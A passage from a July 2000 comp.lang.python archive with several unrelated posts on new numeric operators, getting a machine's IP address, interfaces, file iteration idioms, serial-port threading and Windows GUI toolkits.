> debate -- it's too voluminous, repetitive and contentious.  He'll eventually
> read a PEP, though, *after* some sort of consensus is reached.  A PEP
> requires a champion.  I hope Huaiyu Zhu volunteers for this, as he's argued
> his case eloquently and rationally.  The champion doesn't need to know how
> to implement it, but does need to summarize sometimes-opposing positions
> dispassionately.
> 
> + There are things Guido will & won't tolerate.  Guessing which is an
> interesting & educational challenge <wink>.  For example, adding a new
> operator like
> 
>     .+
> 
> is fine, as the maximal-munch rule for lexing can resolve formal ambiguities
> easily.  OTOH, *any* new operator symbol containing a backslash is dead
> before arrival -- backslash has purely "meta" meanings in Python today.  If
> the goal is to make Python look exactly like some other language, forget it.
> It's still Python, with some light syntactic sugar to make life in special
> domains sweeter.
> 
> + This one is from me, but it's a safe bet you can view at as precognitive
> channeling if you oppose it:  anyone suggesting to, e.g., make ".+" mean
> something new and exciting for ints or floats or strings or ... will be
> shot.  There are probably no operations on the builtin types used frequently
> enough to merit new syntactic shorthands (excepting, perhaps, that if P3K
> changes the meaning of integer division, a new "//" operator for flooring
> division was looked upon kindly in the past).  The new operators are for
> convenience in special domains (where the case for them is indeed very
> strong), not an excuse to turn current Python into a cryptic mess.
> 
> + Also from me:  forget about user-defined precedence and associativity.
> The PEP must define these once & for all, and that's that.
> 
> + The set of new operator symbols cannot be open-ended (as it is in, e.g.,
> Haskell).  There are at least 4 variants of Python tranlators already in
> existence, and Guido wants the set of operator symbols fixed so that a
> variety of parsing techniques can be used in their natural forms without
> trickery.  IOW, the full set of operator symbols must-- as it is today --be
> a fixed finite set known in advance.
> 
> + If the numerical folk can't reach consensus on the set of operators and
> what they should mean, my bet is that Guido will let this die rather than
> get sucked into Pronouncing on each of the points in dispute.  After all, he
> has little personal use for this stuff:  if the people who *do* want it
> can't agree, it's not worth having.
> 
> how's-that-for-a-mysterious-announcement<wink>?-ly y'rs  - tim
> 




From paul at prescod.net  Mon Jul 17 12:14:20 2000
From: paul at prescod.net (Paul Prescod)
Date: Mon, 17 Jul 2000 11:14:20 -0500
Subject: Python VM on a Chip?
References: <3972ADA8.BF327969@linuxfreak.com>
Message-ID: <397330DC.41ACB7C1@prescod.net>

Jim Brennan wrote:
> 
> ...
> 
> Has anyone ever considered doing the same kind of thing with the Python
> VM?  Is it even possible since the data types of Python are late
> binding?  Does anyone know of a commercial or university project that is
> implementing a Python VM using ASICs or FPGAs?

The data types aren't a problem. It isn't clear (to me) what the benefit
of the project would be. Python code can already run in a lot of
embedded systems through x86 compatibility and JVM compatibility. A
dedicated chip might give better performance, but compiling Python to
x86 would probably give even better performance.

-- 
 Paul Prescod - Not encumbered by corporate consensus
It's difficult to extract sense from strings, but they're the only
communication coin we can count on. 
	- http://www.cs.yale.edu/~perlis-alan/quotes.html



From matt at mondoinfo.com  Fri Jul 21 22:32:51 2000
From: matt at mondoinfo.com (Matthew Dixon Cowles)
Date: Fri, 21 Jul 2000 21:32:51 -0500
Subject: newb Q
References: <3978FD9D.B08460CB@mediaone.net>
Message-ID: <210720002132510070%matt@mondoinfo.com>

In article <3978FD9D.B08460CB at mediaone.net>, Toy <gee308 at mediaone.net>
wrote:

> How can I make python issue the command, "ifconfig -a eth0", and then
> parse the data to grab the IP?  I would think that you could tell Python
> to look for the word, 'inet addr:"(is it different on different Unixes?)
> and then tell it to get a number right after 'inet addr' that looks like
> xx.x.xxx.xxx !!  Simple Q, but I'm new, thanks.

Something like this should work for you:

import os
import string
import re
import sys

def getMyAddr():
  p=os.popen("/sbin/ifconfig ep0")
  l=p.readline()
  while l<>"":
    if string.strip(l)[:5]=="inet ":
      matchObj=re.search("\d+.\d+.\d+.\d+",l)
      p.close()
      return matchObj.group(0)
    l=p.readline()
  p.close()
  return "not found"

def main():
  print getMyAddr()

if __name__=="__main__":
  main()

You'll also notice that the answer to your second question is yes. The
format of the output of ifconfig is different from Unix to Unix. The
above example works on FreeBSD. You will need to fiddle it some to get
it to work under Linux.

Another way to get the local IP is to use the functions in the socket
module:

>>> import socket
>>> socket.gethostbyaddr(socket.gethostname())[2][0]

But how to do that varies from machine to machine too. The code above
works correctly on my FreeBSD box but on my Linux laptop it returns
127.0.0.1. In order to make it work right on that machine, I need to
ask for the address of the hostname only, not the FQDN:

>>> socket.gethostbyaddr(socket.gethostname()
>>>   [:string.find(socket.gethostname(),".")])[2][0]

If there's a portable way of getting the local IP address, I don't know
what it is.

Regards,
Matt


From denalione at my-deja.com  Mon Jul 10 15:16:03 2000
From: denalione at my-deja.com (Dale Burnett)
Date: Mon, 10 Jul 2000 19:16:03 GMT
Subject: PythonService file creation
References: <8kbel1$qrp$1@nnrp1.deja.com> <8F6D93D27gmcmhypernetcom@199.171.54.154>
Message-ID: <8kd7cv$3uk$1@nnrp1.deja.com>

In article <8F6D93D27gmcmhypernetcom at 199.171.54.154>,
  gmcm at hypernet.com (Gordon McMillan) wrote:
> Dale Burnett wrote:
>
> >When running my app at the command prompt using the debug option I
can
> >create a new file and write to it.  When the app is started via
Control
> >Panel/Services the file is not created and written too.  I have used
the
> >python native file functions and the NT api CreateFile() function.  I
> >have tried running the service using the System Account with Interact
> >with Desktop checked and specifying an account.
> >Any suggestions?
>
> Besides the account it's running under, the only other problem I can
think
> of is relying on some (mistaken) notion of what the current directory
is.
>
> I've written files from services, so I know there's no showstopper.
>
> - Gordon
>


Do you happen to have a code snippet handy?


Sent via Deja.com http://www.deja.com/
Before you buy.


From chrish at pobox.com.invalid  Tue Jul 18 12:37:10 2000
From: chrish at pobox.com.invalid (Chris Herborth)
Date: Tue, 18 Jul 2000 16:37:10 GMT
Subject: Does Python support interfaces?
References: <MPG.13dd4ec32cbe48e98982a@news.onlynews.com> <vndlmz0b5jp.fsf@camelot-new.ccs.neu.edu> <Rv_c5.1492$6E.294613@ptah.visi.com>
Message-ID: <WI%c5.426969$VR.5431404@news5.giganews.com>

According to Eric Hopper <hopper at omnifarious.mn.org>:
> In article <vndlmz0b5jp.fsf at camelot-new.ccs.neu.edu>, Justin Sheehy
> <dworkin at ccs.neu.edu> wrote:
> > 
> > Just define the class, and make sure that it provides the proper
> > interface.  Note that I'm not using "interface" with any special
> > language-dependent meaning here.  If it behaves properly, it behaves
> > properly, and that is all that matters.
> 
> Whee!  Inheritance by mysteriously coinciding method names is so much fun!

Feh:

from exceptions import TypeError

class Interface:
    def __init__( self ):
        if self.__class__ == Interface:
            # I'm an abstract base class, don't do that.
            raise TypeError

    def SomeMethod( self ):
        raise TypeError

class foo( Interface ):
    def __init__( self ):
        Interface.__init__( self )

    def SomeMethod( self ):
        print "feh!"

a = Interface() # raises an exception
b = foo()       # works like a charm

-- 
----------========================================================----------
Chris Herborth, DNRC Holder of Past Knowledge     Arcane Dragon -==(UDIC)==-
BeOS hacker, Catharon Productions, Inc.             http://www.catharon.com/
CTO, Next Generation Entertainment                     http://www.ngent.com/


From moshez at math.huji.ac.il  Tue Jul 25 07:39:14 2000
From: moshez at math.huji.ac.il (Moshe Zadka)
Date: Tue, 25 Jul 2000 14:39:14 +0300 (IDT)
Subject: SIMPLE QUESTION
In-Reply-To: <397D77D1.A331770A@sicon.net>
Message-ID: <Pine.GSO.4.10.10007251438300.17370-100000@sundial>

On Tue, 25 Jul 2000, sergio wrote:

>  Hi all
>     I''ve imported a dll into a .py file, but when i try to use a
> function i get the error
> 
> Traceback (innermost last):
>   File "<interactive input>", line 0, in ?
> TypeError: unbound method must be called with class instance 1st
> argument

Can you try to be less vague and say

1) exactly what you did
2) exactly what you expected to happen
3) exactly what happened

--
Moshe Zadka <moshez at math.huji.ac.il>
There is no IGLU cabal.
http://advogato.org/person/moshez




From m.faassen at vet.uu.nl  Sun Jul 30 17:07:02 2000
From: m.faassen at vet.uu.nl (Martijn Faassen)
Date: 30 Jul 2000 21:07:02 GMT
Subject: Perl is worse!
References: <8losor$4bk$1@nnrp1.deja.com> <slrn8o0n0b.qhk.grey@teleute.rpglink.com> <8lpt57$hsu$2@newshost.accu.uu.nl> <slrn8o10ko.rt1.grey@teleute.rpglink.com> <8lq5q6$fn4$1@newshost.accu.uu.nl> <slrn8o1do5.rt1.grey@teleute.rpglink.com> <8lspdu$m7e$1@newshost.accu.uu.nl> <slrn8o40d1.49c.grey@teleute.rpglink.com> <8ltgpt$31a$1@newshost.accu.uu.nl> <slrn8o6mr7.f91.grey@teleute.rpglink.com>
Message-ID: <8m25dm$ila$1@newshost.accu.uu.nl>

Steve Lamb <grey at despair.rpglink.com> wrote:
> On 29 Jul 2000 02:50:37 GMT, Martijn Faassen <m.faassen at vet.uu.nl> wrote:
>>Right -- that's why I didn't understand why you complained about the
>>extensive exception checking or other checks you need in Python; if you
>>*know* a string can be safely converted to an integer, int() does the
>>job just fine by itself.

>     Because Python can toss two types out.  String or None, only one of which
> can be converted.

Yes, obviously, as there is an infinity of 'types' (classes, and such).
Python tosses out lots and lots of combinations, otherwise it'd be hard
to remember what happens when for the programmer, and the implementation
could become very hairy. The latter reason is not the most important
one, though; the former is.

If you want an 'int()' that can deal with more things, make your own
int() like function; it's not hard.

>>Ahum, the first! Especially if it deals with critical data, or *money*.
>>Imagine I get a string by accident (there's a bug in the program) instead
>>of a number, and the string evaluates to 0, and suddenly what I'm selling
>>in my e-commerce store is *free*, I'd be rather upset. I'd rather have the
>>software not working in case of such input!

>     Assumption it is dealing with money.  What about logs processing?

Depends on the application. If I want the program to tolerate mistakes,
I can always make it tolerate mistakes by catching and handling some
exceptions. It's harder to do the reverse though; if the system tolerate
mistakes in the first place I can't easily 'harden' it to suddenly catch
human errors (in the input parsing routines, for instance).

Of course there are tradeoffs; static typechecking apologists would say
this demands overrides all others. In the Python and Perl communities
we tend to say there is such a thing as flexibility, and speed of
implementation; these are important too. There are other strategies
towards keeping bugs away from your code, after all, such as testing.
(which is healthy no matter how many types you have anyway)

>>It's not a meaningless statement. Sometimes it's very handy to get the
>>representation of some Python object. For instance:

>>>>> def foo(): pass
>>>>> [many complicated steps later]
>>...ah, but what is bar now?
>>>>> bar
>><function foo at 80c8f68>

>     Right, I understand thta.  Which is why I keep pointing out that it is
> meaningless in the context of a script.  You tell me why I would need to know
> that in a script and maybe we can get around this.  I just see no need, ever,
> for something that cannot be accessed by the script in the first place.

It can:

print bar

The trouble is with the way expressions can be statements in Python. Some
expressions just don't have any side effects, and if you use an expression
as a statement (without any assignment involved, for instance), 
such expressions are meaningless. It's definitely very hard to check
for the side-effects thing; you'd need a pretty heavy program analysis and
even then it could be tricky. Perhaps there's an easier way around and
just forbid any expression that isn't a call to be a statement. But
perhaps there are objections to this approach too.

It would seem to be that this is an implementation problem; not a lot
of time has been invested in fixing it because not a lot of people trip
over this one, apparently. You did, though, so perhaps we need to change
it, if possible.

>>In non-interactive mode it isn't useful, I think (I'd love to hear some
>>cases outside the function call example) so we could propose a patch to
>>Python that trips over this (in the case of non-calls).

>     See, we're in agreement.

Yes, but you seemed to say this was something inconsistent; it's not
inconsistent. I just seems to be a fairly tough problem.

>>That statement sounds good in rethorics, but in practice I'd rather
>>have the computer give up on things if I'm trying to do things that
>>don't seem to make any sense immediately. That way I need to remember
>>less.

>     To me it is remembering more.  "Now, this variable coming in from that
> file over there, going through this code over here in a different module,
> entering in here... was it converted twice or three times and what do I need
> to do with it now."

>     Vs.

>     "Here it is, those checks said it is this, do it."

Ahum, the latter isn't really possible in Python. Your integer wil never
ever be converted to a noninteger. Pass it through as many routines
as you like, it won't ever happen. For mutable variables such as lists
or class instances, it can happen; their contents can change over time. But
they'll (some exceptions possible for class instances, but rare) remain
the same thing all the time, still.

Your variable name may be pointing to something new and different though,
but that can happen in Perl just the same.

And you need to remember what all your operations do to any data type
that they may encounter. I don't.

>>Unless you made it possible that b contained something that couldn't be
>>turned into a number, such as None. If you made that possible you aren't
>>sure beyond all doubt that the variable contains a number, right?

>     Which is, of course, a product of the lanauge.  I know it is going to be a
> digit or empty.  Sad part is Python makes empty None and None mutable into
> pretty much nothing.

That's not sad; Python is just pointing out to you that (in your initial
statement) you were *wrong*. 'b' does *not* always contain a number.
You were thinking sloppily, and Python caught you.

1 isn't mutable into anything at all either, by the way. Neither are
strings. The name 'b' can however be made to point to something else.
That is an entirely different thing though, and from the way you're
speaking I'm not entirely clear whether you understand this yet.

>>Sure, but it is the same in Python, right? Except that in the end you have
>>to cast your integers to ints or whatever other thing you were expecting
>>from your input.

>     So why, then, when I have done the check should I have to do it, again,
> for the sake of the language.

Because the language can do different things with strings than with
numbers. You have to tell the language that the object you're referring to
with 'b' is the object that can to arithmatic; not the object that can
you can get characters from.

And note that if you really insist, the language leaves you free to define
an object that can do both. Not that I'd consider this object to look
very pretty. If you drive your philosophy of 'data' to the extreme, you'd
need an object that defines operations for *everything*. :)
(as your distinction between data and objects is not correct, especially
not in Python; data has behavior and objects have state)


Regards,

Martijn
-- 
History of the 20th Century: WW1, WW2, WW3?
No, WWW -- Could we be going in the right direction?


From paul at prescod.net  Sun Jul 23 02:33:59 2000
From: paul at prescod.net (Paul Prescod)
Date: Sun, 23 Jul 2000 01:33:59 -0500
Subject: New PEP: Attribute Access Handlers
References: <39791F0C.CDC13E79@prescod.net> <39792795.B5B0D18C@roguewave.com>
		 <39792C74.E7E3DB2B@prescod.net> <K5GZdbANxUe5EwOE@jessikat.fsnet.co.uk>
Message-ID: <397A91D7.ABA1CE2D@prescod.net>

Robin Becker wrote:
> 
> ...
> If the attr is a mutable sequence/map etc how can they be made readonly
> using this scheme, are we forced to make immutable string types etc

There are two different things. One is stopping the attr from being
re-bound. That's what the PEP allows. The other is stopping the attr
*value* from being mutated. That depends on the design of the attr
value.

I guess the PEP could help (a little) with that too. 

  def __get_foo__(self, op, val ):
    return ReadOnlyProxy( self.__foo )
-- 
 Paul Prescod - Not encumbered by corporate consensus
New from Computer Associates: "Software that can 'think', sold by 
marketers who choose not to."



From skip at mojam.com  Mon Jul 10 17:45:03 2000
From: skip at mojam.com (Skip Montanaro)
Date: Mon, 10 Jul 2000 16:45:03 -0500 (CDT)
Subject: [ANN] Python port to Palm Pilot
In-Reply-To: <200007101546.IAA09887@rushe.aero.org>
References: <200007070140.SAA31035@wd264.aero.org>
	<3966C005.5EF656C6@smartchat.net.au>
	<200007101546.IAA09887@rushe.aero.org>
Message-ID: <14698.17375.15871.804581@beluga.mojam.com>

    Jeff> Download the .zip file instead.  Apparently, downloading the .prc
    Jeff> files using a browser corrupts the files.

I haven't tried either yet.  Can this be downloaded using Linux?  I can just 
barely do pilot-xfer to backup my Palm and could use some suggestions on the 
use of the other Linux pilot-* apps, particularly those that will let me
download new programs like PalmPython.

Thx,

-- 
Skip Montanaro, skip at mojam.com, http://www.mojam.com/, http://www.musi-cal.com/
"To get what you want you must commit yourself for sometime" - fortune cookie



From owen at astroNOJNK.washington.edu.invalid  Thu Jul 27 16:31:11 2000
From: owen at astroNOJNK.washington.edu.invalid (Russell E. Owen)
Date: Thu, 27 Jul 2000 13:31:11 -0700
Subject: Problem deleting text in TK widget
References: <8lpvj7$v1h$1@nnrp1.deja.com>
Message-ID: <8lq66f$2f3e$1@nntp6.u.washington.edu>

In article <8lpvj7$v1h$1 at nnrp1.deja.com>, dogboy777 at my-deja.com wrote:

I don't think you are indexing the text correctly. Text widgets want 
"line.character", though many other options are available (such as 
"end", "@x,y".... See the superb Tk introduction 
<http://www.pythonware.com/library/tkinter/introduction/index.htm> for a 
very nice description.

-- Russell

>I'm trying to delete text in a TK Text field, and I'm getting an error I
>don't understand.  The code is:
>
>		self.logarea = Text(master, height=35, width=30)
>		self.logarea.insert(END, 'This is a test')
>		self.logarea.delete(1,3)
>
>The resulting error...


From alex at magenta.com  Fri Jul 21 18:25:21 2000
From: alex at magenta.com (Alex Martelli)
Date: Sat, 22 Jul 2000 00:25:21 +0200
Subject: iterating over lines in a file
References: <Uvqd5.21615$DZ4.69024@news.corecomm.net> <hMrd5.49275$e6.2860918@pouncer.easynews.com> <8l73an01lgb@news2.newsguy.com> <vnLd5.27741$r9.839310@news.easynews.com>
Message-ID: <8laito01n3p@news2.newsguy.com>

"Roger Upole" <rupole at compaq.net> wrote in message
news:vnLd5.27741$r9.839310 at news.easynews.com...
> I must take exception to your insistence that
>    "Everything should be done ONCE, and only ONCE.  In ONE
>    place in the code."

Hey, if you must, you must.  Maybe I should have said "must
be done" rather than "should be done", too:-).

> Besides sounding didactic,

Uh, is this supposed to be bad?  My prose's main defect is
generally that of being long and convoluted.  If for once
I've managed to be short and pithy, it was no doubt because
I was subconsciously quoting some Great Master.  Or maybe
channeling Him.  (Kent Beck...?  Ward Cunningham...?)

> it is also completely false.  In many cases,
> an initial read is necessary to determine how (or even if) the rest of a
> file will be processed.  Also, different code may need to be called if
> the file is empty.

Yes, such special cases do indeed come up (when one just
cannot control the specs/fileformats).  In this case, the
general structure tends to be:
    read the first piece if any
    if appropriate, do the rest

The "first piece" (a line, if you're lucky; but, often,
a bunch of them -- e.g., all lines up to the first empty
one, included) gets read *and processed*, *once*.  Then,
if appropriate, after the first piece has set up stuff,
"the rest" gets read and processed.

In other words, the read-the-first-piece part does not
leave you with an already-read beginning-of-the-rest
ready to be processed before further reading, in all
such cases.  When it does (the read-item that tells you
the first-piece is finished is not a separator/terminator
token, but is already the beginning of the-rest), then
you do have an input structure that may lend itself to
your favourite idiom (although in some cases, pushing
the inappropriate item back to be pseudo-reread next is
also a very useful idiom).

But then, the semantic role of the reading in the two
places differs.  If you pre-test, transform, &c, the
line just read, you will probably do it in different
ways for the prologue and the main-body.  E.g.,
consider:

    line = f.readline()
    while we_are_in_headers(line):
        process_as_headers(line)
        line = f.readline()
    while we_are_in_main(line):
        process_as_main(line)
        line = f.readline()

i.e., we're now reading-next-line in *three* places.
While the different things we're doing are *two*.
Our code's structure does not ideally reflect its
internal logic; once again, the initial readline
stands out as an artificial construct.

We can restore the balance, and regain simplicity,
with a little bit of abstraction.  Maybe a bit too
extreme, but sort of nice, for example:

    headers = Filter(f, we_are_in_headers, process_as_headers)
    while headers.more():
        headers.next()

    main = Filter(f, we_are_in_main, process_as_main)
    while main.more():
        main.next()

Of course, there's no need for the while loops and
the more and next methods of the Filter class, which
in fact could perfectly well be a function and just
do everything itself.

So, our main code can become:
    process(f, we_are_in_headers, process_as_headers)
    process(f, we_are_in_main, process_as_main)
utterly simple; and the function process loops just
once, readline's in just one place, and has all the
simplicity one could wish...:

def process(file, testfun, procfun):
    while 1:
        line=file.readline()
        if !testfun(line):
            return
        procfun(line)

...well, all the simplicity except one little detail:
we _again_ have the "while 1:" idiom!-)


> Additionally, this overly simplistic programming style would be completely
> inadequate for most involved programming tasks.

The most involved tasks have the most ferocious need
for an extremistic pursuit of simplicity.  The
unpleasant issue of the "extra initial readline"
should, IMHO, rankle even more if the actual task
looms pretty complicated, because we surely _don't_
need extra complication when the tasks itself supplies
a lot.  Python has just about the right degree of
_sophistication_ to let me refactor things until they
are satisfactorily _simple_...

...and among simplicity's cornerstones, "code each
[different] thing ONCE", i.e., "in ONE place", stands
pretty high indeed.


Alex





From cfelling at iae.nl  Tue Jul 25 20:10:30 2000
From: cfelling at iae.nl (Carel Fellinger)
Date: 26 Jul 2000 02:10:30 +0200
Subject: Discussion: new operators for numerical computation
References: <Pine.LNX.4.10.10007191505070.1129-100000@rocket.knowledgetrack.com> <8l6vul$5ig$1@slb3.atl.mindspring.net> <slrn8nhndr.qn.hzhu@rocket.knowledgetrack.com> <m2wvifm2bd.fsf@spiff.home.com> <slrn8nnhkb.2qi.hzhu@localhost.localdomain> <m2bsznl3n0.fsf@spiff.home.com> <slrn8nprct.3i1.hzhu@rocket.knowledgetrack.com>
Message-ID: <8lla9m$hfd$1@animus.fel.iae.nl>

Hai Math-lovers,

Very interesting discussion sofar, and clearly heading into something
nice and pythonic now.

Huaiyu Zhu <hzhu at localhost.localdomain> wrote:
> On Mon, 24 Jul 2000 20:34:40 GMT, Tim Hochberg <tim.hochberg at ieee.org> wrote:

> It seems that @op is no better than ~op in every aspect.

> So let's drop these as well. And we are left with only 
> ~op
> <op>

As a non-math Pythonier I've been reluctant to enter this debate,
though I've been planning to propose <opt> and <.some_alfanumeric_opt>
on me own. But fortunately others did, ofcourse without the proper
(that's mine:) arguments. So here I go:

(opt) looks to me as some expression on operators, not as a simple operator.
<opt> looks like an operator and was defenitely my favorite, until Huaiyu
showed us <->. It still looks like an operator, but not aka some minus but
aka some equivalence function or what have you. A big minus:( I would feel
sorry if more of those wierd symbols would enter Python. In fact the reason
I now favour ~opt is that that might open the way to get rid of those ugly
bitwise operator symbols using ~ as a generic 'element/bit-wise' prefix:

| becomes ~or,
^ becomes ~xor,
& becomes ~and, and
~ becomes ~not, reading like bitwise or, bitwise xor etc.

Much easier to remember but for ~not, besides thanks to the prefix ~
there is no need for a new xor-keyword. And as ~ is never used on its
own anymore, it's bound to be easier on the eyes in visual parsing of
expressions, and definitely better then <opt> (see below)

> a ~add b < c
> a <add> b < c

And now that w've got 'better' bitwise operator symbols we could use ^ to
mean 'to the power of' (like I always think if I forget to look it up:) and
we could use | or ~| to mean 'solve' (whatever that means).

One last thingy, the use of a leading dot in the alfanumeric opt in ~.opt
to me indicates clearly that that infix-operator has to be a method
of one of the arguments involved.


I hope I'm not making a fool of myself again, and please forgive my typos,
I'm a dyslectic on holidays and don't have a dictionary at hand.
-- 
groetjes, carel


From aahz at netcom.com  Tue Jul 25 08:53:36 2000
From: aahz at netcom.com (Aahz Maruch)
Date: 25 Jul 2000 12:53:36 GMT
Subject: Python 3000
References: <8li7ah$ign$1@serv1.albacom.net> <IKff5.11748$4p3.89549@news-server.bigpond.net.au> <8lk1ee$71q$1@slb6.atl.mindspring.net> <O%ff5.11777$4p3.90266@news-server.bigpond.net.au>
Message-ID: <8lk2kg$kbv$1@nntp9.atl.mindspring.net>

In article <O%ff5.11777$4p3.90266 at news-server.bigpond.net.au>,
Neil Hodgson <neilh at scintilla.org> wrote:
>Aahz Maruch wrote:
>> Neil Hodgson <neilh at scintilla.org> wrote:
>>>
>>> Your version numbering is a little out of date - 1.6 will be released in
>>> ...
>>
>> Your version numbers are also a little bit out of date.  1.6 has been
>> renamed to 2.0 with the departure of the core Python team from CNRI to
>> BeOpen.
>
>   Nope - its a real soap opera now with 1.6 produced by Guido for CNRI and
>then 2.0 from BeOpen. And the license to be included with 1.6 sucks because
>its much longer and more complex although it probably won't make that much
>difference in practical terms.

Yes, I know about the soap opera.  The fact remains that 1.6 will almost
certainly never be a released chunk of code -- it never had a beta!
It's also true that the 2.0 released from BeOpen (once the soap opera
ends) will almost certainly be based primarily on the 1.6 code base.  So
it's reasonable to simply say that 1.6 has been renamed to 2.0 -- and in
fact, that's what Guido Himself does:

http://www.pythonlabs.com/tech/python16.html
--
                      --- Aahz (Copyright 2000 by aahz at netcom.com)

Androgynous poly kinky vanilla queer het    <*>     http://www.rahul.net/aahz/
Hugs and backrubs -- I break Rule 6

Zie is so far from a clue that it would take a sub-light vessel several
years to reach one.  --Aahz


From db3l at fitlinxx.com  Mon Jul 24 14:43:35 2000
From: db3l at fitlinxx.com (David Bolen)
Date: 24 Jul 2000 14:43:35 -0400
Subject: the right way of handling **args for __init__ and other methods
References: <8lhlfg$sk5$1@news.kth.se> <397C6BD8.CF87E01@roguewave.com>
Message-ID: <ur98jpdwo.fsf@ctwd0143.fitlinxx.com>

Bjorn Pettersen <bjorn at roguewave.com> writes:

> Since args looks to be always empty when argdict != None, you can say
> 
>   args.update(argdict)

If in fact the use of args and argdict are mutually exclusive and
argdict is only around for passing on from __init__ then it would seem
that you could also just re-assign args, e.g.,:

    if argdict:
	args = argdict

(although I think the apply() approach is probaby cleaner since it
avoids the use of the extra argument to read()).

--
-- David
-- 
/-----------------------------------------------------------------------\
 \               David Bolen            \   E-mail: db3l at fitlinxx.com  /
  |             FitLinxx, Inc.            \  Phone: (203) 708-5192    |
 /  860 Canal Street, Stamford, CT  06902   \  Fax: (203) 316-5150     \
\-----------------------------------------------------------------------/


From stephen_purcell at yahoo.com  Sat Jul 15 06:33:44 2000
From: stephen_purcell at yahoo.com (Steve Purcell)
Date: Sat, 15 Jul 2000 10:33:44 -0000
Subject: '"""' and linefeed characters
In-Reply-To: <NFUb5.19400$MT.474440@news-west.usenetserver.com>
Message-ID: <8kpem8+spj8@eGroups.com>

Matthew Cline <matt at n...> wrote:
> I'm assuming that returns in a '"""' quoted string are given
> the linefeed character(s) of the operating system Python is
> run on.  Is this right?

Not exactly. The linefeed character(s) will presumably be whatever is
in the source file itself. So, if you take a python source file in
UNIX text format ('\n' line separators) containing a multi-line doc
string, run that file on a Windows machine, the line separator in
the doc string will still be '\n' and not the usual Windows '\r\n'.

(I'd be alarmed if I'm wrong about this, but it wouldn't be the first
time.)

-Steve

--
Steve Purcell,  Technical Director, Inkontact
Get in touch at http://www.inkontact.com/
Get testing at http://pyunit.sourceforge.net/
"Life must be simple if I can do it" -- Me




From olivierS.dagenaisP at canadaA.comM  Tue Jul 25 12:58:44 2000
From: olivierS.dagenaisP at canadaA.comM (Olivier Dagenais)
Date: Tue, 25 Jul 2000 16:58:44 GMT
Subject: Comparison of strings and integer
References: <8lkfhs$pav$1@pollux.ip-plus.net>
Message-ID: <8Hjf5.25413$Gh.363352@news20.bellglobal.com>

I think Python compares the names of the types when you compare two objects
of different types.

--
----------------------------------------------------------------------
Olivier A. Dagenais - Carleton University - Computer Science III


"Franz GEIGER" <fgeiger at datec.at> wrote in message
news:8lkfhs$pav$1 at pollux.ip-plus.net...
> Still not very experienced in programming Python I recently compared
> accidentially a string variable with an integer variable. Python did it
his
> way, which was not my way: I expected a conversion like Perl does or a
> runtime error like REBOL does. Is there any way to prevent Python from
doing
> so?
>
> Python: print "1" > 1 --> 1
>
> Perl: print not ("1" > 1); --> 1
>
> REBOL:  print "1" > 1 -->
> ** Script Error: Expected one of: string! - not: integer!.
> ** Where: print "1" > 1
>
> Many thanks in advance and best regards
> Franz GEIGER
>
>




From julesk24 at my-deja.com.bbs  Mon Jul 17 09:00:03 2000
From: julesk24 at my-deja.com.bbs (julesk24 at my-deja.com.bbs)
Date: 17 Jul 2000 13:00:03 GMT
Subject: Reading asynchronous data from a serial device
Message-ID: <3bRCd4$kKH@openbazaar.net>

I am attempting to write a program (to run on a linux box) in python
which communicates to a device via a serial port.  The problem is that
the device is not reliable in responding when expected.  Therefore, I
have many reads timeout.  I am relatively new to the world of multiple
threads so I am probably making many mistakes.  My current approach is
to use a separate thread for the read and then to join() the thread
back into the main thread if the read is not sucessful within the given
amount of time.  The end result is hundreds of hung processes and an
eventual segmentation fault (the program needs to be designed to run
for days).  My questions are:

1)  Is there any (easy) way for me to cause the thread to exit (not
just join the processes) after a timeout on a read?

2)  Is there a better way of reading for data (without starting my own
thread for the read process and then trying to exit out of the thread
after a period of time)?

I have read through the newsgroups, but I haven't found anything which
specifically answers my questions.  Thanks to anyone who can answer my
questions!

Julie Kempton
jmk11 at duke.edu


Sent via Deja.com http://www.deja.com/
Before you buy.


From aahz at netcom.com  Sun Jul  9 23:43:45 2000
From: aahz at netcom.com (Aahz Maruch)
Date: 10 Jul 2000 03:43:45 GMT
Subject: Static member variables
References: <8kahdq$5e2$1@zingo.tninet.se> <963176664.23519426@news.libertysurf.fr>
Message-ID: <8kbgph$afj$1@nntp9.atl.mindspring.net>

In article <963176664.23519426 at news.libertysurf.fr>,
Jerome Quelin  <jerome.quelin at insalien.org> wrote:
>
>And is it possible to have a static method (ie, a class method in C++
>jargon) ?

Nope.  The standard answer is to stick the class in its own module and
create module-level functions that access class variables.  Wish I'd
known that earlier; I created a hack that saves an instance of the
class.....
--
                      --- Aahz (Copyright 2000 by aahz at netcom.com)

Androgynous poly kinky vanilla queer het    <*>     http://www.rahul.net/aahz/
Hugs and backrubs -- I break Rule 6

"do you want my self-identities alphabetically, chronologically, or in
random order?"  -- Misha


From db3l at fitlinxx.com  Wed Jul 19 21:38:28 2000
From: db3l at fitlinxx.com (David Bolen)
Date: 19 Jul 2000 21:38:28 -0400
Subject: iterating over lines in a file
References: <Uvqd5.21615$DZ4.69024@news.corecomm.net>
Message-ID: <upuo9h97v.fsf@ctwd0143.fitlinxx.com>

nobody <no at bo.dy> writes:

> could somebody enlighten me, please? and is there any easier way to
> iterate over lines in a file without resorting to ugly break statements?

Not without duplicating your actual I/O operation (the only real way
to avoid a break is to compare the current I/O within the expression
of the loop, so you have to load a value to check both prior to the
loop and then within the loop for the next cycle).

The basic Python approach to iteratiing over a file would be:

    while 1:
        line = file.readline()
        if not line: break

        (... operations to perform ...)

Yes, it has a break in it (although I personally don't consider
'break' ugly - break and continue are often the most elegant way to
handle flow), and yes, it seems clumsy to those of us used to
assignments within expressions, but its the sort of thing you just
acknowledge and move on - it's really not that big a deal.

The class you found wraps things up a bit, and effectively hides the
assignment within the class, so you can use the direct expression
approach in your higher level code, but that's about it.

There's also a FAQ on this common question, available at:

    http://www.python.org/doc/FAQ.html#6.30


--
-- David
-- 
/-----------------------------------------------------------------------\
 \               David Bolen            \   E-mail: db3l at fitlinxx.com  /
  |             FitLinxx, Inc.            \  Phone: (203) 708-5192    |
 /  860 Canal Street, Stamford, CT  06902   \  Fax: (203) 316-5150     \
\-----------------------------------------------------------------------/


From olivierS.dagenaisP at canadaA.comM  Wed Jul 19 20:46:09 2000
From: olivierS.dagenaisP at canadaA.comM (Olivier Dagenais)
Date: Thu, 20 Jul 2000 00:46:09 GMT
Subject: Making Windows GUI programs
References: <8F776CE84nickperkinsusanet@203.2.75.243>
Message-ID: <lZrd5.995$Kv6.36963@news20.bellglobal.com>

I recommend wxPython ( www.wxpython.org )

http://www.faqts.com/knowledge-base/view.phtml/aid/3565/fid/473

--
----------------------------------------------------------------------
Olivier A. Dagenais - Carleton University - Computer Science III



"Nicko" <nick_p at dingoblue.net.au> wrote in message
